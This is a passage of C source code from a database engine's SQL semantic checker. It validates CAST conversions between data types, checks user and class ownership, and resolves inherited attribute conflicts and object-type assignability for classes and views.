/* Only string type : Do not consider 'CAST (enum_col as VARCHAR)' equal to 'enum_col' */
if (PT_IS_STRING_TYPE (type1) && PT_IS_STRING_TYPE (type2))
{
int c1, c2;
c1 = arg1->data_type->info.data_type.collation_id;
c2 = cast_type->info.data_type.collation_id;
return c1 == c2;
}
if (PT_IS_DATE_TIME_TYPE (type1) && PT_IS_DATE_TIME_TYPE (type2))
{
if ((type1 == PT_TYPE_TIME && type2 != PT_TYPE_TIME) || (type1 != PT_TYPE_TIME && type2 == PT_TYPE_TIME))
{
return false;
}
return true;
}
return false;
}
/*
* pt_check_cast_op () - Checks to see if the cast operator is well-formed
* return: none
* parser(in):
* node(in): the node to check
*/
bool
pt_check_cast_op (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *arg1;
PT_TYPE_ENUM cast_type = PT_TYPE_NONE, arg_type;
PT_CAST_VAL cast_is_valid = PT_CAST_VALID;
if (node == NULL || node->node_type != PT_EXPR || node->info.expr.op != PT_CAST)
{
/* this should not happen, but don't crash and burn if it does */
assert (false);
return false;
}
/* check special CAST : COLLATE modifier */
if (PT_EXPR_INFO_IS_FLAGED (node, PT_EXPR_INFO_CAST_COLL_MODIFIER))
{
LANG_COLLATION *lc;
PT_NODE *arg_dt = NULL;
if (node->info.expr.arg1 != NULL && node->info.expr.arg1->type_enum != PT_TYPE_NONE
&& !PT_HAS_COLLATION (node->info.expr.arg1->type_enum))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_COLLATE_NOT_ALLOWED);
return false;
}
/* arg1 may have been set NULL due to previous semantic errors */
arg_dt = (node->info.expr.arg1 != NULL) ? node->info.expr.arg1->data_type : NULL;
lc = lang_get_collation (PT_GET_COLLATION_MODIFIER (node));
if (arg_dt != NULL && lc->codeset != arg_dt->info.data_type.units)
{
/* cannot change codeset with COLLATE */
PT_ERRORmf2 (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CS_MATCH_COLLATE,
lang_get_codeset_name (arg_dt->info.data_type.units), lang_get_codeset_name (lc->codeset));
return false;
}
}
/* get cast type */
if (node->info.expr.cast_type != NULL)
{
cast_type = node->info.expr.cast_type->type_enum;
}
else
{
if (!pt_has_error (parser) && !PT_EXPR_INFO_IS_FLAGED (node, PT_EXPR_INFO_CAST_COLL_MODIFIER))
{
PT_INTERNAL_ERROR (parser, "null cast type");
}
return false;
}
/* get argument */
arg1 = node->info.expr.arg1;
if (arg1 == NULL)
{
/* a parse error might have occurred lower in the parse tree of arg1; don't register another error unless no
* error has been set */
if (!pt_has_error (parser))
{
PT_ERRORmf2 (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CANT_COERCE_TO, "(null)",
pt_show_type_enum (cast_type));
}
return false;
}
/* CAST (arg_type AS cast_type) */
if (arg1->node_type == PT_EXPR && arg1->info.expr.op == PT_CAST)
{
/* arg1 is a cast, so arg1.type_enum is not yet set; pull type from expression's cast type */
arg_type = arg1->info.expr.cast_type->type_enum;
}
else
{
/* arg1 is not a cast */
arg_type = arg1->type_enum;
}
switch (arg_type)
{
case PT_TYPE_INTEGER:
case PT_TYPE_BIGINT:
case PT_TYPE_FLOAT:
case PT_TYPE_DOUBLE:
case PT_TYPE_SMALLINT:
case PT_TYPE_MONETARY:
case PT_TYPE_NUMERIC:
switch (cast_type)
{
case PT_TYPE_BIT:
case PT_TYPE_VARBIT:
case PT_TYPE_DATE:
/* allow numeric to TIME and TIMESTAMP conversions */
case PT_TYPE_DATETIME:
case PT_TYPE_DATETIMETZ:
case PT_TYPE_DATETIMELTZ:
case PT_TYPE_SET:
case PT_TYPE_MULTISET:
case PT_TYPE_SEQUENCE:
case PT_TYPE_BLOB:
case PT_TYPE_CLOB:
case PT_TYPE_OBJECT:
cast_is_valid = PT_CAST_INVALID;
break;
default:
break;
}
break;
case PT_TYPE_DATE:
switch (cast_type)
{
case PT_TYPE_INTEGER:
case PT_TYPE_BIGINT:
case PT_TYPE_FLOAT:
case PT_TYPE_DOUBLE:
case PT_TYPE_SMALLINT:
case PT_TYPE_MONETARY:
case PT_TYPE_NUMERIC:
case PT_TYPE_BIT:
case PT_TYPE_VARBIT:
case PT_TYPE_TIME:
case PT_TYPE_SET:
case PT_TYPE_MULTISET:
case PT_TYPE_SEQUENCE:
case PT_TYPE_BLOB:
case PT_TYPE_CLOB:
case PT_TYPE_OBJECT:
cast_is_valid = PT_CAST_INVALID;
break;
default:
break;
}
break;
case PT_TYPE_TIME:
switch (cast_type)
{
case PT_TYPE_INTEGER:
case PT_TYPE_BIGINT:
case PT_TYPE_FLOAT:
case PT_TYPE_DOUBLE:
case PT_TYPE_SMALLINT:
case PT_TYPE_MONETARY:
case PT_TYPE_NUMERIC:
case PT_TYPE_BIT:
case PT_TYPE_VARBIT:
case PT_TYPE_DATE:
case PT_TYPE_SET:
case PT_TYPE_MULTISET:
case PT_TYPE_SEQUENCE:
case PT_TYPE_BLOB:
case PT_TYPE_CLOB:
case PT_TYPE_OBJECT:
cast_is_valid = PT_CAST_INVALID;
break;
case PT_TYPE_TIMESTAMP:
case PT_TYPE_TIMESTAMPLTZ:
case PT_TYPE_TIMESTAMPTZ:
case PT_TYPE_DATETIME:
case PT_TYPE_DATETIMELTZ:
case PT_TYPE_DATETIMETZ:
cast_is_valid = PT_CAST_UNSUPPORTED;
break;
default:
break;
}
break;
case PT_TYPE_TIMESTAMP:
case PT_TYPE_TIMESTAMPTZ:
case PT_TYPE_TIMESTAMPLTZ:
switch (cast_type)
{
case PT_TYPE_INTEGER:
case PT_TYPE_BIGINT:
case PT_TYPE_FLOAT:
case PT_TYPE_DOUBLE:
case PT_TYPE_SMALLINT:
case PT_TYPE_MONETARY:
case PT_TYPE_NUMERIC:
case PT_TYPE_BIT:
case PT_TYPE_VARBIT:
case PT_TYPE_SET:
case PT_TYPE_MULTISET:
case PT_TYPE_SEQUENCE:
case PT_TYPE_BLOB:
case PT_TYPE_CLOB:
case PT_TYPE_OBJECT:
cast_is_valid = PT_CAST_INVALID;
break;
default:
break;
}
break;
case PT_TYPE_DATETIME:
case PT_TYPE_DATETIMETZ:
case PT_TYPE_DATETIMELTZ:
switch (cast_type)
{
case PT_TYPE_INTEGER:
case PT_TYPE_FLOAT:
case PT_TYPE_DOUBLE:
case PT_TYPE_SMALLINT:
case PT_TYPE_MONETARY:
case PT_TYPE_NUMERIC:
case PT_TYPE_BIT:
case PT_TYPE_VARBIT:
case PT_TYPE_SET:
case PT_TYPE_MULTISET:
case PT_TYPE_SEQUENCE:
case PT_TYPE_BLOB:
case PT_TYPE_CLOB:
case PT_TYPE_OBJECT:
cast_is_valid = PT_CAST_INVALID;
break;
default:
break;
}
break;
case PT_TYPE_CHAR:
case PT_TYPE_VARCHAR:
case PT_TYPE_NCHAR:
case PT_TYPE_VARNCHAR:
if ((PT_IS_NATIONAL_CHAR_STRING_TYPE (arg_type) && PT_IS_SIMPLE_CHAR_STRING_TYPE (cast_type))
|| (PT_IS_SIMPLE_CHAR_STRING_TYPE (arg_type) && PT_IS_NATIONAL_CHAR_STRING_TYPE (cast_type)))
{
cast_is_valid = PT_CAST_INVALID;
break;
}
switch (cast_type)
{
case PT_TYPE_SET:
case PT_TYPE_MULTISET:
case PT_TYPE_SEQUENCE:
cast_is_valid = PT_CAST_UNSUPPORTED;
break;
case PT_TYPE_OBJECT:
cast_is_valid = PT_CAST_INVALID;
break;
default:
break;
}
break;
case PT_TYPE_BIT:
case PT_TYPE_VARBIT:
switch (cast_type)
{
case PT_TYPE_INTEGER:
case PT_TYPE_BIGINT:
case PT_TYPE_FLOAT:
case PT_TYPE_DOUBLE:
case PT_TYPE_SMALLINT:
case PT_TYPE_MONETARY:
case PT_TYPE_NUMERIC:
case PT_TYPE_DATE:
case PT_TYPE_TIME:
case PT_TYPE_TIMESTAMP:
case PT_TYPE_TIMESTAMPTZ:
case PT_TYPE_TIMESTAMPLTZ:
case PT_TYPE_DATETIME:
case PT_TYPE_DATETIMELTZ:
case PT_TYPE_DATETIMETZ:
case PT_TYPE_SET:
case PT_TYPE_MULTISET:
case PT_TYPE_SEQUENCE:
case PT_TYPE_OBJECT:
cast_is_valid = PT_CAST_INVALID;
break;
case PT_TYPE_CLOB:
cast_is_valid = PT_CAST_UNSUPPORTED;
break;
default:
break;
}
break;
case PT_TYPE_OBJECT:
/* some functions like DECODE, CASE perform wrap with CAST, allow it */
if (!PT_EXPR_INFO_IS_FLAGED (node, PT_EXPR_INFO_CAST_SHOULD_FOLD))
{
cast_is_valid = PT_CAST_UNSUPPORTED;
}
break;
case PT_TYPE_SET:
case PT_TYPE_MULTISET:
case PT_TYPE_SEQUENCE:
switch (cast_type)
{
case PT_TYPE_INTEGER:
case PT_TYPE_BIGINT:
case PT_TYPE_FLOAT:
case PT_TYPE_DOUBLE:
case PT_TYPE_SMALLINT:
case PT_TYPE_MONETARY:
case PT_TYPE_NUMERIC:
case PT_TYPE_BIT:
case PT_TYPE_VARBIT:
case PT_TYPE_DATE:
case PT_TYPE_TIME:
case PT_TYPE_TIMESTAMP:
case PT_TYPE_TIMESTAMPTZ:
case PT_TYPE_TIMESTAMPLTZ:
case PT_TYPE_DATETIME:
case PT_TYPE_DATETIMETZ:
case PT_TYPE_DATETIMELTZ:
case PT_TYPE_BLOB:
case PT_TYPE_CLOB:
case PT_TYPE_OBJECT:
cast_is_valid = PT_CAST_INVALID;
break;
case PT_TYPE_CHAR:
case PT_TYPE_VARCHAR:
case PT_TYPE_NCHAR:
case PT_TYPE_VARNCHAR:
cast_is_valid = PT_CAST_UNSUPPORTED;
break;
default:
break;
}
break;
case PT_TYPE_BLOB:
switch (cast_type)
{
case PT_TYPE_BIT:
case PT_TYPE_VARBIT:
case PT_TYPE_BLOB:
case PT_TYPE_ENUMERATION:
break;
case PT_TYPE_CLOB:
cast_is_valid = PT_CAST_UNSUPPORTED;
break;
default:
cast_is_valid = PT_CAST_INVALID;
break;
}
break;
case PT_TYPE_CLOB:
switch (cast_type)
{
case PT_TYPE_CHAR:
case PT_TYPE_VARCHAR:
case PT_TYPE_NCHAR:
case PT_TYPE_VARNCHAR:
case PT_TYPE_CLOB:
case PT_TYPE_ENUMERATION:
break;
case PT_TYPE_BLOB:
cast_is_valid = PT_CAST_UNSUPPORTED;
break;
default:
cast_is_valid = PT_CAST_INVALID;
break;
}
break;
default:
break;
}
switch (cast_is_valid)
{
case PT_CAST_VALID:
break;
case PT_CAST_INVALID:
PT_ERRORmf2 (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CANT_COERCE_TO,
pt_short_print (parser, node->info.expr.arg1), pt_show_type_enum (cast_type));
break;
case PT_CAST_UNSUPPORTED:
PT_ERRORmf2 (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_COERCE_UNSUPPORTED,
pt_short_print (parser, node->info.expr.arg1), pt_show_type_enum (cast_type));
break;
}
return (cast_is_valid == PT_CAST_VALID) ? true : false;
}
/*
* pt_check_user_exists () - given 'user.class', check that 'user' exists
* return: db_user instance if user exists, NULL otherwise.
* parser(in): the parser context used to derive cls_ref
* cls_ref(in): a PT_NAME node
*
* Note :
* this routine is needed only in the context of checking create stmts,
* ie, in checking 'create vclass usr.cls ...'.
* Otherwise, pt_check_user_owns_class should be used.
*/
static DB_OBJECT *
pt_check_user_exists (PARSER_CONTEXT * parser, PT_NODE * cls_ref)
{
const char *user_name = NULL;
DB_OBJECT *result;
assert (parser != NULL);
user_name = pt_get_qualifier_name (parser, cls_ref);
if (user_name == NULL || user_name[0] == '\0')
{
return NULL;
}
result = db_find_user (user_name);
if (!result)
{
PT_ERRORmf (parser, cls_ref, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_USER_IS_NOT_IN_DB, user_name);
}
return result;
}
/*
* pt_check_user_owns_class () - given user.class, check that user owns class
* return: db_user instance if 'user' exists & owns 'class', NULL otherwise
* parser(in): the parser context used to derive cls_ref
* cls_ref(in): a PT_NAME node
*/
DB_OBJECT *
pt_check_user_owns_class (PARSER_CONTEXT * parser, PT_NODE * cls_ref)
{
DB_OBJECT *result, *cls, *owner;
if ((result = pt_check_user_exists (parser, cls_ref)) == NULL || (cls = cls_ref->info.name.db_object) == NULL)
{
return NULL;
}
/* This is the case when the loaddb utility is executed with the --no-user-specified-name option as the dba user. */
if (db_get_client_type () == DB_CLIENT_TYPE_ADMIN_LOADDB_COMPAT)
{
return result;
}
owner = db_get_owner (cls);
result = (ws_is_same_object (owner, result) ? result : NULL);
if (!result)
{
PT_ERRORmf2 (parser, cls_ref, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_USER_DOESNT_OWN_CLS,
cls_ref->info.name.resolved, cls_ref->info.name.original);
}
return result;
}
/*
* pt_derive_attribute () - derive a new ATTR_DEF node from a query_spec
* column
* return: a new ATTR_DEF node derived from c if all OK, NULL otherwise.
* parser(in): the parser context to use for creating the ATTR_DEF node
* c(in): a query_spec column
*/
static PT_NODE *
pt_derive_attribute (PARSER_CONTEXT * parser, PT_NODE * c)
{
PT_NODE *attr = NULL;
PT_NODE *cname = NULL;
assert (parser != NULL);
if (c == NULL)
{
return NULL;
}
if (c->alias_print != NULL)
{
cname = pt_name (parser, c->alias_print);
}
else if (c->node_type == PT_NAME)
{
if (c->type_enum == PT_TYPE_OBJECT && c->info.name.meta_class == PT_OID_ATTR
&& (c->info.name.original == NULL || strlen (c->info.name.original) == 0))
{
cname = pt_name (parser, c->info.name.resolved);
}
else
{
cname = pt_name (parser, c->info.name.original);
}
}
else
{
return NULL;
}
if (cname == NULL)
{
return NULL;
}
attr = parser_new_node (parser, PT_ATTR_DEF);
if (attr == NULL)
{
return NULL;
}
attr->data_type = NULL;
attr->info.attr_def.attr_name = cname;
attr->info.attr_def.attr_type = PT_NORMAL;
return attr;
}
/*
* pt_get_attributes () - get & return the attribute list of
* a {class|vclass|view}
* return: c's attribute list if successful, NULL otherwise.
* parser(in): the parser context to use for creating the list
* c(in): a {class|vclass|view} object
*/
/* TODO modify the function so that we can distinguish between a class having
* no attributes and an execution error.
*/
static PT_NODE *
pt_get_attributes (PARSER_CONTEXT * parser, const DB_OBJECT * c)
{
DB_ATTRIBUTE *attributes;
const char *class_name;
PT_NODE *i_attr, *name, *typ, *types, *list = NULL;
DB_OBJECT *cls;
DB_DOMAIN *dom;
assert (parser != NULL);
if (!c || !(class_name = db_get_class_name ((DB_OBJECT *) c)))
{
return list;
}
attributes = db_get_attributes ((DB_OBJECT *) c);
while (attributes)
{
/* create a new attribute node */
i_attr = parser_new_node (parser, PT_ATTR_DEF);
if (i_attr == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NULL;
}
/* its name is class_name.attribute_name */
i_attr->info.attr_def.attr_name = name = pt_name (parser, db_attribute_name (attributes));
name->info.name.resolved = pt_append_string (parser, NULL, class_name);
PT_NAME_INFO_SET_FLAG (name, PT_NAME_DEFAULTF_ACCEPTS);
name->info.name.meta_class = (db_attribute_is_shared (attributes) ? PT_SHARED : PT_NORMAL);
/* set its data type */
i_attr->type_enum = pt_db_to_type_enum (db_attribute_type (attributes));
switch (i_attr->type_enum)
{
case PT_TYPE_OBJECT:
cls = db_domain_class (db_attribute_domain (attributes));
if (cls)
{
name = pt_name (parser, db_get_class_name (cls));
name->info.name.meta_class = PT_CLASS;
name->info.name.db_object = cls;
name->info.name.spec_id = (UINTPTR) name;
i_attr->data_type = typ = parser_new_node (parser, PT_DATA_TYPE);
if (typ)
{
typ->info.data_type.entity = name;
}
}
break;
case PT_TYPE_SET:
case PT_TYPE_SEQUENCE:
case PT_TYPE_MULTISET:
types = NULL;
dom = db_domain_set (db_attribute_domain (attributes));
while (dom)
{
typ = pt_domain_to_data_type (parser, dom);
if (typ)
{
typ->next = types;
}
types = typ;
dom = db_domain_next (dom);
}
i_attr->data_type = types;
break;
default:
dom = attributes->domain;
typ = pt_domain_to_data_type (parser, dom);
i_attr->data_type = typ;
break;
}
list = parser_append_node (i_attr, list);
/* advance to next attribute */
attributes = db_attribute_next (attributes);
}
return list;
}
/*
* pt_get_class_type () - return a class instance's type
* return: PT_CLASS, PT_VCLASS, or PT_MISC_DUMMY
* cls(in): a class instance
*/
static PT_MISC_TYPE
pt_get_class_type (PARSER_CONTEXT * parser, const DB_OBJECT * cls)
{
if (!cls)
{
return PT_MISC_DUMMY;
}
if (db_is_vclass ((DB_OBJECT *) cls) > 0)
{
return PT_VCLASS;
}
if (db_is_class ((DB_OBJECT *) cls) > 0)
{
return PT_CLASS;
}
return PT_MISC_DUMMY;
}
/*
* pt_number_of_attributes () - determine the number of attributes
* of the new class to be created by a create_vclass statement,
* or the number of attributes of the new definition of a view
* in the case of "ALTER VIEW xxx AS SELECT ...".
* return: number of attributes of the new class to be created by stmt
* parser(in): the parser context used to derive stmt
* stmt(in): a create_vclass statement
* attrs(out): the attributes of the new class to be created by stmt
*
* Note :
* non-inherited class_attributes are excluded from the attribute count.
*/
static int
pt_number_of_attributes (PARSER_CONTEXT * parser, PT_NODE * stmt, PT_NODE ** attrs)
{
int count = 0;
PT_NODE *crt_attr = NULL;
PT_NODE *crt_parent = NULL;
PT_NODE *t_attr = NULL;
PT_NODE *inherited_attrs = NULL;
PT_NODE *r = NULL;
PT_NODE *i_attr = NULL;
PT_NODE *next_node = NULL;
if (stmt == NULL || attrs == NULL)
{
return count;
}
if ((stmt->node_type == PT_ALTER) && (stmt->info.alter.code == PT_RESET_QUERY))
{
*attrs = stmt->info.alter.alter_clause.query.attr_def_list;
count = pt_length_of_list (*attrs);
return count;
}
assert (stmt->node_type == PT_CREATE_ENTITY);
if (stmt->node_type != PT_CREATE_ENTITY)
{
return count;
}
*attrs = stmt->info.create_entity.attr_def_list;
count = pt_length_of_list (*attrs);
/* Exclude class_attributes from count but keep them in the attrs list. */
for (crt_attr = *attrs; crt_attr != NULL; crt_attr = crt_attr->next)
{
if (crt_attr->info.attr_def.attr_type == PT_META_ATTR)
{
count--;
}
}
/* collect into one list all inherited attributes from all parents */
inherited_attrs = NULL;
for (crt_parent = stmt->info.create_entity.supclass_list; crt_parent != NULL; crt_parent = crt_parent->next)
{
/* get this parent's attributes & append them to the list */
PT_NODE *const parent_attrs = pt_get_attributes (parser, crt_parent->info.name.db_object);
inherited_attrs = parser_append_node (parent_attrs, inherited_attrs);
}
/* Rule 2: If two or more superclasses have attributes with the same name and domain but different origins, the class
* may inherit one or more of the attributes, but the user needs to specify inheritance. Implementation: scan through
* the inheritance list and do any attribute renaming specified by the user. */
for (r = stmt->info.create_entity.resolution_list; r != NULL; r = r->next)
{
PT_NODE *const new_name = r->info.resolution.as_attr_mthd_name;
PT_NODE *const resolv_class = r->info.resolution.of_sup_class_name;
PT_NODE *const resolv_attr = r->info.resolution.attr_mthd_name;
if (new_name == NULL)
{
continue;
}
for (i_attr = inherited_attrs; i_attr != NULL; t_attr = i_attr, i_attr = i_attr->next)
{
PT_NODE *const name = i_attr->info.attr_def.attr_name;
if (pt_str_compare (resolv_attr->info.name.original, name->info.name.original, CASE_INSENSITIVE) == 0
&& pt_user_specified_name_compare (resolv_class->info.name.original, name->info.name.resolved) == 0)
{
name->info.name.original = new_name->info.name.original;
}
}
}
/* Rule 2 implementation continued: remove from inherited_attrs all inherited attributes that conflict with any
* user-specified inheritance. */
for (r = stmt->info.create_entity.resolution_list; r != NULL; r = r->next)
{
PT_NODE *const resolv_class = r->info.resolution.of_sup_class_name;
PT_NODE *const resolv_attr = r->info.resolution.attr_mthd_name;
if (r->info.resolution.as_attr_mthd_name != NULL)
{
continue;
}
/* user wants class to inherit this attribute without renaming */
for (i_attr = inherited_attrs; i_attr != NULL; i_attr = i_attr->next)
{
PT_NODE *const name = i_attr->info.attr_def.attr_name;
if (pt_str_compare (resolv_attr->info.name.original, name->info.name.original, CASE_INSENSITIVE) != 0)
{
/* i_attr is a keeper so advance t_attr. */
t_attr = i_attr;
}
else
{
if (pt_user_specified_name_compare (resolv_class->info.name.original, name->info.name.resolved) == 0)
{
/* i_attr is a keeper. keep the user-specified inherited attribute */
t_attr = i_attr;
continue;
}
/* delete inherited attribute that conflicts with resolv_attr */
if (i_attr == inherited_attrs)
{
inherited_attrs = i_attr->next;
}
else
{
t_attr->next = i_attr->next;
}
/* i_attr is a goner. do NOT advance t_attr! */
}
}
}
/*
* At this point, the conflicting attributes that the user wants us to keep have been safely preserved and renamed in
* inherited_attrs. It is now safe to start weeding out remaining attribute conflicts. */
/*
* Rule 1: If the name of an attribute in a class C conflicts (i.e., is the same as) with that of an attribute in a
* superclass S, the name in class C is used; that is, the attribute is not inherited. Implementation: remove from
* inherited_attrs each attribute whose name matches some non-inherited attribute name. */
for (crt_attr = stmt->info.create_entity.attr_def_list; crt_attr != NULL; crt_attr = crt_attr->next)
{
for (i_attr = inherited_attrs; i_attr; i_attr = i_attr->next)
{
if (pt_str_compare (crt_attr->info.attr_def.attr_name->info.name.original,
i_attr->info.attr_def.attr_name->info.name.original, CASE_INSENSITIVE) != 0)
{
/* i_attr is a keeper. */
t_attr = i_attr;
}
else
{
/* delete it from inherited_attrs */
if (i_attr == inherited_attrs)
{
inherited_attrs = i_attr->next;
}
else
{
t_attr->next = i_attr->next;
}
/* i_attr is a goner. do NOT advance t_attr! */
}
}
}
/*
* Rule 2 continued: If the user does not specify the attributes (to be inherited), the system will pick one
* arbitrarily, and notify the user. Jeff probably knows how to 'pick one arbitrarily', but until we learn how, the
* following will do for TPR. We lump together Rules 2 & 3 and implement them as: given a group of attributes with
* the same name, keep the first and toss the rest. */
for (i_attr = inherited_attrs, next_node = i_attr ? i_attr->next : NULL; i_attr != NULL;
i_attr = next_node, next_node = i_attr ? i_attr->next : NULL)
{
for (r = i_attr->next; r != NULL; r = r->next)
{
if (pt_str_compare (i_attr->info.attr_def.attr_name->info.name.original,
r->info.attr_def.attr_name->info.name.original, CASE_INSENSITIVE) != 0)
{
/* r is a keeper so advance t_attr. */
t_attr = r;
}
else
{
if (r == i_attr->next)
{
i_attr->next = r->next;
}
else
{
t_attr->next = r->next;
}
/* r is a goner. do NOT advance t_attr! */
}
}
}
/* Append the non-inherited attributes to the inherited attributes. */
if (inherited_attrs != NULL)
{
count += pt_length_of_list (inherited_attrs);
*attrs = parser_append_node (*attrs, inherited_attrs);
}
return count;
}
/*
* pt_is_real_class_of_vclass () - determine if s_class is a
* real class of d_class
* return: 1 if s_class is a real class of the view d_class
* parser(in): the parser context
* s_class(in): a PT_DATA_TYPE node whose type_enum is PT_TYPE_OBJECT
* d_class(in): a PT_DATA_TYPE node whose type_enum is PT_TYPE_OBJECT
*/
static int
pt_is_real_class_of_vclass (PARSER_CONTEXT * parser, const PT_NODE * s_class, const PT_NODE * d_class)
{
if (!d_class || d_class->node_type != PT_DATA_TYPE || !s_class || s_class->node_type != PT_DATA_TYPE)
{
return 0;
}
return mq_is_real_class_of_vclass (parser, s_class->info.data_type.entity, d_class->info.data_type.entity);
}
/*
* pt_objects_assignable () - determine if src is assignable to data_type dest
* return: 1 iff src is assignable to dest, 0 otherwise
* parser(in): the parser context
* d_class_dt(in): data_type of target attribute
* s_class(in): source PT_NODE
*/
static int
pt_objects_assignable (PARSER_CONTEXT * parser, const PT_NODE * d_class_dt, const PT_NODE * s_class)
{
PT_NODE *s_class_type, *d_class_dt_type = NULL;
if (!s_class || s_class->type_enum != PT_TYPE_OBJECT)
{
return 0;
}
if (!d_class_dt || (d_class_dt->node_type == PT_DATA_TYPE && !(d_class_dt_type = d_class_dt->info.data_type.entity)))
{
/* a wildcard destination object matches any other object type */
return 1;
}
else if ((d_class_dt && d_class_dt->node_type != PT_DATA_TYPE) || !s_class->data_type
|| s_class->data_type->node_type != PT_DATA_TYPE)
{
/* weed out structural errors as failures */
return 0;
}
else
{
/* s_class is assignable to d_class_dt if s_class is a subclass of d_class_dt this is what it should be: return
* pt_is_subset_of(parser, s_class_type, d_class_dt_type); but d_class_dt->info.data_type.entity does not have
* ALL the subclasses of the type, ie, if d_class_dt's type is "glo", it shows only "glo" instead of: "glo,
* audio, etc." so we do this instead: */
if (!(s_class_type = s_class->data_type->info.data_type.entity))
{
return 1; /* general object type */
}
else
{
return ((s_class_type->info.name.db_object == d_class_dt_type->info.name.db_object)
|| (db_is_subclass (s_class_type->info.name.db_object, d_class_dt_type->info.name.db_object) > 0));
}
}
}
/*
* pt_class_assignable () - determine if s_class is assignable to d_class_dt
* return: 1 if s_class is assignable to d_class
* parser(in): the parser context
* d_class_dt(in): a PT_DATA_TYPE node whose type_enum is PT_TYPE_OBJECT
* s_class(in): a PT_NODE whose type_enum is PT_TYPE_OBJECT
*/
int
pt_class_assignable (PARSER_CONTEXT * parser, const PT_NODE * d_class_dt, const PT_NODE * s_class)
{
/* a wildcard destination object accepts any other object type */
if (!d_class_dt || (d_class_dt->node_type == PT_DATA_TYPE && !d_class_dt->info.data_type.entity))
{
return 1;
}
/* weed out structural errors as failures */
if (!s_class || (d_class_dt && d_class_dt->node_type != PT_DATA_TYPE))
{
return 0;
}
/* NULL is assignable to any class type */
if (s_class->type_enum == PT_TYPE_NA || s_class->type_enum == PT_TYPE_NULL)
{
return 1;
}
/* make sure we are dealing only with object types */
if (s_class->type_enum != PT_TYPE_OBJECT)
{
return 0;
}
return (pt_objects_assignable (parser, d_class_dt, s_class)
|| pt_is_real_class_of_vclass (parser, s_class->data_type, d_class_dt)
|| pt_is_real_class_of_vclass (parser, d_class_dt, s_class->data_type));
}
/*
* pt_class_compatible () - determine if two classes have compatible domains
* return: 1 if class1 and class2 have compatible domains
* parser(in): the parser context
* class1(in): a PT_NODE whose type_enum is PT_TYPE_OBJECT
* class2(in): a PT_NODE whose type_enum is PT_TYPE_OBJECT
* view_definition_context(in):
*/
static int
pt_class_compatible (PARSER_CONTEXT * parser, const PT_NODE * class1, const PT_NODE * class2,
bool view_definition_context)
{
if (!class1 || class1->type_enum != PT_TYPE_OBJECT || !class2 || class2->type_enum != PT_TYPE_OBJECT)
{
return 0;
}
if (view_definition_context)
{
return pt_class_assignable (parser, class1->data_type, class2);
}
else
{
return (pt_class_assignable (parser, class1->data_type, class2)
|| pt_class_assignable (parser, class2->data_type, class1));
}
}
/*
* pt_vclass_compatible () - determine if att is vclass compatible with qcol
* return: true if att is vclass compatible with qcol
* parser(in): the parser context
* att(in): PT_DATA_TYPE node of a vclass attribute def
* qcol(in): a query spec column
*/
static bool
pt_vclass_compatible (PARSER_CONTEXT * parser, const PT_NODE * att, const PT_NODE * qcol)
{
PT_NODE *entity, *qcol_entity, *qcol_typ;
DB_OBJECT *vcls = NULL;
const char *clsnam = NULL, *qcol_typnam = NULL, *spec, *qs_clsnam;
DB_QUERY_SPEC *specs;
/* a wildcard object accepts any other object type but is not vclass_compatible with any other object */
if (!att || (att->node_type == PT_DATA_TYPE && !att->info.data_type.entity))
{
return false;
}
/* weed out structural errors as failures */
if (!qcol || (att && att->node_type != PT_DATA_TYPE) || (entity = att->info.data_type.entity) == NULL
|| entity->node_type != PT_NAME || ((vcls = entity->info.name.db_object) == NULL
&& (clsnam = entity->info.name.original) == NULL))
{
return false;
}
/* make sure we are dealing only with object types that can be union vclass_compatible with vcls. */
if (qcol->type_enum != PT_TYPE_OBJECT || (qcol_typ = qcol->data_type) == NULL || qcol_typ->node_type != PT_DATA_TYPE
|| (qcol_entity = qcol_typ->info.data_type.entity) == NULL || qcol_entity->node_type != PT_NAME
|| (qcol_typnam = qcol_entity->info.name.original) == NULL)
{
return false;
}
/* make sure we have the vclass */
if (!vcls)
{
vcls = db_find_class (clsnam);
}
if (!vcls)
{
return false;
}
/* return true iff att is a vclass & qcol is in att's query_spec list */
for (specs = db_get_query_specs (vcls); specs && (spec = db_query_spec_string (specs));
specs = db_query_spec_next (specs))
{
qs_clsnam = pt_get_proxy_spec_name (spec);
if (qs_clsnam && intl_identifier_casecmp (qs_clsnam, qcol_typnam) == 0)
{
return true; /* att is vclass_compatible with qcol */
}
}
return false; /* att is not vclass_compatible with qcol */
}
/*
* pt_type_assignable () - determine if s_type is assignable to d_type
* return: 1 if s_type is assignable to d_type
* parser(in): the parser context
* d_type(in): a PT_DATA_TYPE node whose type_enum is PT_TYPE_OBJECT
* s_type(in): a PT_DATA_TYPE node whose type_enum is PT_TYPE_OBJECT
*/
static int
pt_type_assignable (PARSER_CONTEXT * parser, const PT_NODE * d_type, const PT_NODE * s_type)
{
PT_NODE *src_type, *dest_type = NULL;
/* a wildcard destination object accepts any other object type */
if (!d_type || (d_type->node_type == PT_DATA_TYPE && !d_type->info.data_type.entity))
{
return 1;
}
/* weed out structural errors as failures */
if (!s_type || (d_type && d_type->node_type != PT_DATA_TYPE))
{
return 0;
}
/* make sure we are dealing only with object types */
if (s_type->type_enum != PT_TYPE_OBJECT)
{
return 0;
}
dest_type = d_type->info.data_type.entity;
src_type = s_type->info.data_type.entity;
if (!dest_type || !src_type)
{
return 0;
}
/* If the destination isn't resolved, resolve it. */
if (!dest_type->info.name.db_object)
{
dest_type->info.name.db_object = db_find_class (dest_type->info.name.original);
dest_type->info.name.meta_class = PT_CLASS;
}
return (src_type->info.name.db_object == dest_type->info.name.db_object
|| (db_is_subclass (src_type->info.name.db_object, dest_type->info.name.db_object) > 0)
|| mq_is_real_class_of_vclass (parser, src_type, dest_type));
}
/*
* pt_collection_assignable () - determine if s_col is assignable to d_col
* return: 1 if s_col is assignable to d_col
* parser(in): the parser context
* d_col(in): a PT_NODE whose type_enum is a PT_IS_COLLECTION_TYPE
* s_col(in): a PT_NODE whose type_enum is a PT_IS_COLLECTION_TYPE
*/
static int
